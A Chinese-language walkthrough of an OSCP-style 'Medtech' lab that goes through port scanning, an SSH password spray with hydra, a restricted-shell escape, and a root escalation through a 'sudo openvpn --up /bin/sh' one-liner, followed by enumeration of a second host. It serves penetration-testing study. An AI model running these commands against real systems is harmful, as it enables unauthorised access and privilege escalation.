Challenge 1 - Medtech(3)

 Challenge 1 - Medtech(3)

目前以列舉所有網域使用者清單，下一個目標放到外網的 .122 Linux 主機

一樣先執行 Rustscan，└─$ rustscan -a 192.168.155.122 --scripts none --ulimit 5000 | tee rustscan

snmp 測試，└─$ sudo nmap -sU -p 161 192.168.155.122 | tee snmp

nmap，└─$ sudo nmap -sCV -A -p 22,1194 192.168.155.122 | tee nmap

Exploit-DB 針對 1194 Port OpenVPN 僅有一個 Denial of Service 看來沒用

Google 搜尋相關 1194 Port 與 OpenVPN 也沒有看到 RCE

所以這一台 Linux 要進去看來要改由 22 Port 帳號密碼下手

測試現有的帳號密碼噴灑試試看

└─$ hydra -L ./usernames.txt -P ./passwords.txt ssh://192.168.155.122 -V

獲得一組 offsec:password

直接測試 ssh 登入看看，確認可以登入但是是一個被限制的 shell

跳出改用 -t "bash --noprofile" 登入試試看，發現不給登入

改用原本的登入方式，輸入 sudo 看看，結果直接被登出

改用 sudo -l 發現可以不用密碼執行 openvpn，但沒甚麼用

執行相關有限的指令，在 history 看到會定期執行

sudo openvpn --dev null --script-security 2 --up '/bin/sh -c sh'

跟著執行看看，發現就 root 了，flag 也都可以直接拿到

更新攻擊列表進度如下

繼續在這一台 vpn 伺服器上枚舉看看有無新的發現

cat /etc/passwd，帳號是已知的 offsec、marto

在 mario 的 hoem 目錄底下發現 id_rsa

拿來測試登入 .122 試試看，發現還要密碼，目前不知道 mario 的密碼所以無法登入

先保留這一組 id_rsa，搞不好其他機器可以登入

後續沒有找到其他有用的資訊，另外於外部除了這一台 .122 還有另外一台 .120 也是 Linux

但透過密碼噴灑沒有找到可以用來登入的有效憑證

Rustscan 僅有 22、80 Port

snmp 沒開

nmap

80/tcp open  http    WEBrick httpd 1.6.1 (Ruby 2.7.4 (2021-07-07))

80 /

80 /robots.txt

80 /sitemap.xml

80 /jekyll/update/2022/10/03/welcome-to-jekyll.html

80 /about

查了一下 WEBrick 看來沒有可用的 Exploit

目前暫時沒有發現，外網僅剩下這一台 .120 先放著

由於已經透過 .121 打入內網，下一步將攻擊轉回內網

更新一下現在的帳號密碼表